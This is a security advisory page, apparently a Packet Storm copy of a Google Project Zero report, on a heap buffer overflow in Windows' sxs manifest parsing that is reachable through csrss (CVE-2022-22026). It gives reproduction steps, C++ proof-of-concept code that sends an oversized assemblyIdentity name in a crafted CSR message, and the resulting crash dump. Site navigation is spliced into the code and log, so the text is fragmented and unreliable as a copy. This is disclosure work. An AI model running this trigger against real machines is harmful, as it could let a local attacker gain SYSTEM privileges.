Windows sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdent Heap Buffer Overflow

Authored by Google Security Research, Glazvunov

Posted Aug 12, 2022

A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.

tags | exploit, overflow, arbitrary
systems | windows
advisories | CVE-2020-1027, CVE-2022-22026
SHA-256 | d9d1207247ebb20f56509add11b90166662a5bc61929b7ae0d9356619f52a0b3 **Download | Favorite | View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
Windows: Heap buffer overflow in sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity

## SUMMARY
A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to
execute arbitrary code with SYSTEM privileges.


## VULNERABILITY DETAILS
In 2020, Project Zero reported a heap buffer overflow in application manifest parsing[1]. The `MaximumLength`
field in one of the `UNICODE_STRING` parameters of the `BaseSrvSxsCreateActivationContextFromMessage` CSR
routine wasn't properly validated, and was later used by `XMLParser_Element_doc_assembly_assemblyIdentity` as
the maximum size of a `memcpy` destination buffer. The fix added an extra `CsrValidateMessageBuffer` call to
`BaseSrvSxsCreateActivationContextFromMessage`.

We've just discovered that `BaseSrvSxsCreateActivationContextFromMessage` is not the only CSR routine that can
reach `XMLParser_Element_doc_assembly_assemblyIdentity`. An attacker can trigger the same buffer overflow via
`BaseSrvSxsCreateProcess`.

1. https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1027.html


## VERSION
Windows 11 12H2 (OS Build 22000.593)
Windows 10 12H2 (OS Build 19044.1586)


## REPRODUCTION CASE
1) Enable page heap verification for csrss.exe:
```
gflags /p /enable csrss.exe /full
```

2) Restart the machine.

3) Compile and run:
```
#pragma comment(lib, "ntdll")

#include <windows.h>
#include <winternl.h>
#include <cstdint>
#include <cstdio>
#include <string>

typedef struct _SECTION_IMAGE_INFORMATION {
  PVOID EntryPoint;
  ULONG StackZeroBits;
  ULONG StackReserved;
  ULONG StackCommit;
  ULONG ImageSubsystem;
  WORD SubSystemVersionLow;
  WORD SubSystemVersionHigh;
  ULONG Unknown1;
  ULONG ImageCharacteristics;
  ULONG ImageMachineType;
  ULONG Unknown2[3];
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;

typedef struct _RTL_USER_PROCESS_INFORMATION {
  ULONG Size;
  HANDLE ProcessHandle;
  HANDLE ThreadHandle;
  CLIENT_ID ClientId;
  SECTION_IMAGE_INFORMATION ImageInformation;
  BYTE Unknown1[128];
} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;
```

Follow us on Twitter
Subscribe to an RSS Feed

File Archive: November 2022 <

| Su | Mo | Tu | We | Th | Fr | Sa |
|---|---|---|---|---|---|---|
| | | 1 | 2 | 3 | 4 | 5 |
| 6 | 7 | 8 | 9 | 10 | 11 | 12 |
| 13 | 14 | 15 | 16 | 17 | 18 | 19 |
| 20 | 21 | 22 | 23 | 24 | 25 | 26 |
| 27 | 28 | 29 | 30 | | | |

Top Authors In Last 30 Days
Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags
ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems
AIX (426)
Apple (1,926)
```

~~~~
NTSTATUS(NTAPI* RtlCreateProcessParameters)
(PRTL_USER_PROCESS_PARAMETERS*,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PVOID,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING);
NTSTATUS(NTAPI* RtlCreateUserProcess)
(PUNICODE_STRING,
 ULONG,
 PRTL_USER_PROCESS_PARAMETERS,
 PSECURITY_DESCRIPTOR,
 PSECURITY_DESCRIPTOR,
 HANDLE,
 BOOLEAN,
 HANDLE,
 HANDLE,
 PRTL_USER_PROCESS_INFORMATION);

PVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG);
VOID(NTAPI* CsrFreeCaptureBuffer)(PVOID);
NTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG);
NTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR);

void CaptureString(LPVOID capture_buffer,
                   uint8_t* msg_field,
                   PCWSTR string,
                   size_t length = 0) {
  if (length == 0)
    length = lstrlenW(string);

  CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2,
                          length * 2 + 2, (PSTR)msg_field);
}

int main() {
  HMODULE ntdll = LoadLibrary(L"ntdll");

#define INIT_PROC(name) \
  name = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name));

  INIT_PROC(RtlCreateProcessParameters);
  INIT_PROC(RtlCreateUserProcess);

  INIT_PROC(CsrAllocateCaptureBuffer);
  INIT_PROC(CsrFreeCaptureBuffer);
  INIT_PROC(CsrClientCallServer);
  INIT_PROC(CsrCaptureMessageString);

  UNICODE_STRING image_path;
  PRTL_USER_PROCESS_PARAMETERS proc_params;
  RTL_USER_PROCESS_INFORMATION proc_info = {0};

  RtlInitUnicodeString(&image_path, L"\\SystemRoot\\notepad.exe");
  RtlCreateProcessParameters(&proc_params, &image_path, NULL, NULL, NULL, NULL,
                             NULL, NULL, NULL, NULL);
  RtlCreateUserProcess(&image_path, OBJ_CASE_INSENSITIVE, proc_params, NULL,
                       NULL, NULL, FALSE, NULL, NULL, &proc_info);

  const size_t HEADER_SIZE = 0x40;
  uint8_t msg[HEADER_SIZE + 0x1f8] = {0};

#define FIELD(n) msg + HEADER_SIZE + 8 * n
#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value;

  SET_FIELD(2, proc_info.ClientId.UniqueProcess);
  SET_FIELD(3, proc_info.ClientId.UniqueThread);

  SET_FIELD(4, -1);
  SET_FIELD(7, 1);
  SET_FIELD(8, 0x20000);

  std::string manifest =
      "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' "
      "manifestVersion='1.0'>"
      "<assemblyIdentity name='@' version='1.0.0.0'/>"
      "</assembly>";
  manifest.replace(manifest.find('@'), 1, 0x4000, 'A');

  SET_FIELD(13, manifest.c_str());
  SET_FIELD(14, manifest.size());

  PVOID capture_buffer = CsrAllocateCaptureBuffer(6, 0x200);

  CaptureString(capture_buffer, FIELD(22), L"C:\\Windows\\");
  CaptureString(capture_buffer, FIELD(24), L"\x00\x00", 2);
  CaptureString(capture_buffer, FIELD(28), L"A");
  SET_FIELD(28, 0xff000002);

  CsrClientCallServer(msg, capture_buffer, 0x1001001d,
                      sizeof(msg) - HEADER_SIZE);
}
```

The crash should look like to the following:
```
CONTEXT:  0000007c4afbcfc0 -- (.cxr 0x7c4afbcfc0)
rax=0000020e6515ce00 rbx=0000000000004000 rcx=0000020e6515d010
rdx=fffffffffbe741fa rsi=0000020e652c48c0 rdi=0000000000000001
rip=00007ff825a53c53 rsp=0000007c4afbdd38 rbp=0000007c4afbde80
 r8=0000000000000032  r9=00000000000001f7 r10=00007ff822e6b558
r11=0000020e60fd8ffc r12=0000020e66d1cf80 r13=0000000000000001
r14=0000000000000000 r15=0000000000000005
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
ntdll!memcpy+0x113:
0033:00007ff8`25a53c53 0f2941f0        movaps  xmmword ptr [rcx-10h],xmm0
ds:002b:0000020e`6515d000=????????????????????????????????
Resetting default scope

WRITE_ADDRESS:  0000020e6515d000

EXCEPTION_RECORD:  0000007c4afbd4b0 -- (.exr 0x7c4afbd4b0)
~~~~

Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

```
ExceptionAddress: 00007ff825a53c53 (ntdll!memcpy+0x0000000000000113)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000001
   Parameter[1]: 0000020e6515d000
Attempt to write to address 0000020e6515d000

STACK_TEXT:
0000007c`4afbdd38 00007ff8`22df5a41 : 0000020e`652c48c0 00000000`00000001 00000000`00000001 00000000`00000001 :
ntdll!memcpy+0x113
0000007c`4afbdd40 00007ff8`22e07b94 : 00007ff8`00000000 00000000`000000a8 0000020e`652c48c0 0000020e`652c48c0 :
sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity+0x4c1
0000007c`4afbe3c0 00007ff8`22e1f406 : 0000020e`652e7f20 0000020e`652e7f20 00000000`00000000 00000000`00000000 :
sxs!CNodeFactory::CreateNode+0xd34
0000007c`4afbe7d0 00007ff8`22df8a33 : 0000020e`00000000 0000020e`652a8cc8 00000000`00000000 0000020e`65166e20 :
sxs!XMLParser::Run+0x8d6
0000007c`4afbe8f0 00007ff8`22df7468 : 0000020e`00000000 0000020e`6527ac90 00000000`00000000 0000020e`6527ac90 :
sxs!SxspIncorporateAssembly+0x513
0000007c`4afbeab0 00007ff8`22df7cf6 : 00000000`00000000 00000000`00000000 0000020e`6527ac90 0000020e`65167720 :
sxs!SxspIncorporateAssembly+0x104
0000007c`4afbeb60 00007ff8`22df3769 : 0000007c`00000000 0000007c`4afbefa0 00000000`00000000 0000020e`65166e20 :
sxs!SxspCloseManifestGraph+0xbe
0000007c`4afbec00 00007ff8`22fb3eed : 00000000`00000000 00000000`00000000 00000000`00000000 0000007c`4afbf3a0 :
sxs!SxsGenerateActivationContext+0x339
0000007c`4afbed60 00007ff8`22fb2405 : 0000007c`4afbf1f0 000004f7`0000000b 00000000`00000000 00000000`00000001 :
sxssrv!BaseSrvSxsCreateActivationContextFromStructEx+0x6ed
0000007c`4afbf1a0 00007ff8`22fb1e91 : 0000020e`56e00000 00000000`01080002 00000000`00000264 00000000`00000270 :
sxssrv!InternalSxsCreateProcess+0x545
0000007c`4afbf680 00007ff8`230133c3 : 00000000`00000000 0000007c`4afbf789 00000000`00000000 00000000`00000000 :
sxssrv!BaseSrvSxsCreateProcess+0x71
0000007c`4afbf6c0 00007ff8`23036490 : 0000020e`ffffffff 0000007c`4afbf848 0000020e`00000000 0000020e`00000001 :
basesrv!BaseSrvCreateProcess2+0x1f3
0000007c`4afbf7f0 00007ff8`25a0265f : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :
CSRSRV!CsrApiRequestThread+0x4d0
0000007c`4afbfe90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :
ntdll!RtlUserThreadStart+0x2f
```

CREDIT INFORMATION
Sergei Glazunov of Google Project Zero

Related CVE Numbers: CVE-2020-1027,CVE-2022-22026,CVE-2022-22026.

Found by: glazunov@google.com

Login or Register to add favorites